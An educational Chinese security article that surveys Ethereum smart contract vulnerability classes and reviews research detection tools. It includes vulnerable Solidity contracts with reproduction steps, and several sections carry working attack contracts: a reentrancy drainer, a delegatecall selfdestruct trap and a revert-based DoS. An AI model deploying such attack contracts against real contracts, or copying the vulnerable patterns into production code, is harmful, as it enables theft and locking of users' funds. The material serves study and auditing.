*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载
根据腾讯腾讯安全2018上半年区块链安全报告,智能合约引发的安全问题以成为区块链自身机制安全性的主要问题,本文就目前文献中提到的主流安全性问题做出总结,并列出目前的相关研究。
整形溢出(Arithmetic Issues)
如下代码,如果没有assert判断,那么sellerBalance+value可能会超出uint上限制导致溢出。
pragma solidity ^0.4.15;
contract Overflow {
uint private sellerBalance=0;
function add(uint value) returns (bool, uint){
sellerBalance += value; // complicated math with possible overflow
// possible auditor assert
assert(sellerBalance >= value);
}
}
危险的delegatecall(dangerous delegatecall)[contractfuzzer]
首先需要了解call和delegatecall的区别:call和delegatecall都为合约相互调用时的函数,假设A调用B函数,call方法结果展示到B中,delegatecall方法结果展示到A中。
在如下示例中,Mark如果用delegatecall调用了恶意合约Steal,那么Mark合约会被删除。
复现:
1.用A账户部署Steal,用B账户部署Mark合约,并在部署时为合约附加10个ether。
2.账户B调用Mark.call(address(Steal)),即用B调用Steal的Innocence方法,实际上innocence会在Mark的上下文环境运行,发现账户B收到合约的10 ether(注意不是A账户)
3.用C账户执行Mark.deposit()方法,并附加10ether,再调用destruct方法,发现B无法收到10ether,说明合约确实已经在第二步被销毁。
pragma solidity ^0.4.2;
contract Steal{
address owner;
constructor () payable {
owner = msg.sender;
}
function innocence() {
log0("123");
selfdestruct(owner);
}
}
contract Mark {
address owner;
constructor () payable {
owner = msg.sender;
}
function Deposit() payable {}
function call(address a) {
a.delegatecall(bytes4(keccak256("innocence()")));
}
}
无Gas发送(Gasless Send)[contractfuzzer]
合约C调用合约D1时,由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败,调用D2时,由于没有超过上限,调用成功。
复现:
1.用10ether部署C合约,0ether部署D1合约,0ether部署D2合约
2.调用C.pay(1000000000000000000, address(D1)),D1的count值仍为0
3.调用D1.kill(),以太币不增加。2,3两步说明了D1的fallback调用失败
4.调用C.pay(1000000000000000000,address(D2))
5.调用D2.kill(),发现账户增加1ether,说明D2的fallback调用成功
pragma solidity ^0.4.2;
contract C {
address owner;
constructor () payable{
owner=msg.sender;
}
function pay(uint n, address d){
d.send(n);
}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}
contract D1 {
address owner;
uint public count = 0;
constructor () payable{
owner=msg.sender;
}
function() payable {
count = count+1;
}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}
contract D2 {
address owner;
constructor () payable{
owner=msg.sender;
}
function() payable {}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}
依赖于交易顺序/条件竞争(TOD/Front Running)[smarter]
由于:
1.只有当交易被打包进区块时,他才是不可更改的
2.区块会优先打包gasprice更高的交易
所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图,出题人和做题人同时发起合约,那么做题人得到的奖励因合约执行顺序不同而不同。
再例如ERC20标准中的approve,整个流程是这样的:
1.用户A授权用户B 100代币的额度
2.用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
3.用户B在待交易处(打包前)看到了这笔交易
4.用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
5.用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
return true
依赖于时间戳(Timestamp Dependence/Time manipulation)[smarter]
攻击者可以修改区块的时间戳-900s以此获益。
未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter]
例如合约KoET,攻击者可以控制函数调用次数(EVM限制调用深度为1024),从而导致send函数调用失败,但是接下来的代码会继续执行,这样前一个国王就无法得到报酬(compensation)。
Attacker:
复现失败,在Remix中运行递归会崩溃,在实际运行中由于Gas较高,无法交易(预算手续费大于30ether)。
重入漏洞(Reentrancy/DAO)[smarter][seebug1]
当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。
复现:
1.账户A部署IDMoney合约,账户B部署Attack合约
2.账户A调用IDMoney()方法,并附加10ether
3.账户B部署Attack合约,附加2ether
4.账户B调用Attack.setVictim()方法,设置victim变量为IDMoney合约地址
5.账户B调用Attack.step1()方法,设置amount=1000000000000000000,即合约Attack调用合约IDMoney.deposit()方法
6.账户B调用Attack.step2()方法,设置amount=500000000000000000
7.账户B调用Attack.stopAttack()方法,获得IDMoney的所有余额(包括A的存款,严格说是合约中除了500000000000000000wei的余额)
pragma solidity ^0.4.19;
contract IDMoney{
address _owner;
mapping (address => uint256) balances;
function IDMoney() {
_owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address to, uint256 amount) public payable {
require(balances[msg.sender] >= amount);
require(this.balance >= amount);
log0(bytes32(address(this).balance/1e15));
to.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceof(address to) constant returns(uint256){
return balances[to];
}
}
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码,但是却未能生效,原因是递归调用时没有执行到balances[msg.sender] -= amount;
,因此调用时,账户的余额是不变的,而真正导致递归调用退出的是require(this.balance >= amount);
,这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问,如果把这句话删掉呢?我本以为合约会报错,但是很遗憾,合约依然能够正常运行,并且合约中不再剩下任何以太币。
DoS攻击[DoS]
频繁调用某些Op(EXTCODESIZE和SUICIDE),这些Op花费的Gas小,但是需要大量资源(计算资源,I/O),以此造成DoS,对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。
复现:
1.账户A部署PresidentOfCountry合约设置_price为1e18(1ether)。
2.账户B调用PresidentOfCountry,并附加1ether,成为President,price=2ether
3.账户C部署Attack,调用start_attack(address(PresidentOfCountry))并附加2ether,账户C成为President,由于调用后PresidentOfCountry合约会调用Attack的fallback函数,而fallback函数的revert()抛出错误。
4.账户B调用PresidentOfCountry,并附加4ether,但是并不能称为President,说明合约代码无法正常运行。
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 public price;
constructor(uint256 _price) public payable {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
assert(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = msg.value * 2; // we double the price to become president
}
}
contract Attack {
function () { revert(); }
function start_attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
说实话这里我也没太搞懂,为什么合约被C调用过就无法执行了Orz
重放攻击[blackhat2018]
如果合约存在相同的代码,则攻击者可以使用合约A函数的参数调用合约B。
/*
* 付款人要为收款人转账,但是付款人没有足够的ETH,因此找一个代理人,并支付一定的代币作为代理费
* @param _from 付款人
* @param _to 收款人
* @param _value 金额
* @param feeUgt 代理费
* @param _v sig[0:66] #由付款人签名,即付款人确认付钱
* @param _r sig[66:130]
* @param _s sig[130:132]
* 如果其他合约同样包含TransferProxy函数,并且实现相似,那么攻击者可以在B合约上重放函数参数,B合约会执行成功
*/
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt,
uint8 _v,bytes32 _r, bytes32 _s) returns (bool){
if(balances[_from] < _feeUgt + _value) throw;
uint256 nonce = nonces[_from];
bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce);
// ecrecover 验签函数
if(_from != ecrecover(h,_v,_r,_s)) throw;
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeUgt;
Transfer(_from, msg.sender, _feeUgt);
balances[_from] -= _value + _feeUgt;
nonces[_from] = nonce + 1;
return true;
}
变量覆盖[varreplace]
以如下代码为例,Solidity存储机制的问题,p初始化后的name、mappedAddress地址会与变量testA、testB地址重合,导致调用test函数给结构体p赋值后,变量testA和testB的值也会被覆盖。
复现:
1.调用TestContract.test()方法
2.检查testA和testB的值,已被改变
pragma solidity ^0.4.0;
contract TestContract{
int public testA;
address public testB;
struct Person {
int name;
address mappedAddress;
}
function test(int _name, address _mappedAddress) public{
Person p;
p.name = _name; //testA被改变
p.mappedAddress = _mappedAddress; //testB被改变
}
}
相关工作
DASP[dasp]总结了以太坊合约的Top10安全性问题
luu等人[smarter]设计一套基于符号执行的智能合约安全审计工具oyente(已做过演示,目前可以检测的漏洞有整形溢出,合约依赖交易顺序,依赖时间戳的漏洞,未处理异常和重入漏洞。
Nikolic[maian]等人设计了一套符号执行检测智能合约的工具MAIAN,这些问题包括合约永久锁定资金,资金可被恶意用户转账以及被任意用户杀死,我们选用了34200个合约(去重复后有2365个),我们抽样调查了3759个合约,得到89%的正确率。
jiang等人[contractfuzzer]设计了一套基于fuzz的智能合约审计工具ContractFuzzer,他们通过在EVM中插桩,以此获取程序在执行中产生的信息,通过预先设置的测试准则发现漏洞,他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题,经过试验,ContractFuzzer发现漏洞的准确率较高,但是相较于Oyente,此工具找到的漏洞数量较少。
Liu等人[ReGuard]构建了基于fuzz的智能合约检测工具,旨在检测合约中的重入漏洞,实验表明,相较于Oyente,该工具有更高的准确率,并且能发现更多数量的问题。
chen等人[DoS]通过动态调整Op执行的gas花费阻止DoS攻击(通过反复执行小gas的opcode,消耗系统资源造成dos)。
参考文献
[DoS]: Chen, Ting, et al. “An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.” International Conference on Information Security Practice and Experience. Springer, Cham, 2017.
[smarter]: Luu, Loi, et al. “Making smart contracts smarter.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
[blackhat2018]: Bai, Zhenxuan, et al. “Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts.” Blackhat. 2018
[seebug1]: 以太坊智能合约安全入门了解一下(上),https://paper.seebug.org/601/
[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.
[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1
[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings – International Conference on Software Engineering, 65–68.https://doi.org/10.1145/3183440.3183495
*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载
来源:freebuf.com 2018-09-14 08:30:24 by: x565178035
请登录后发表评论
注册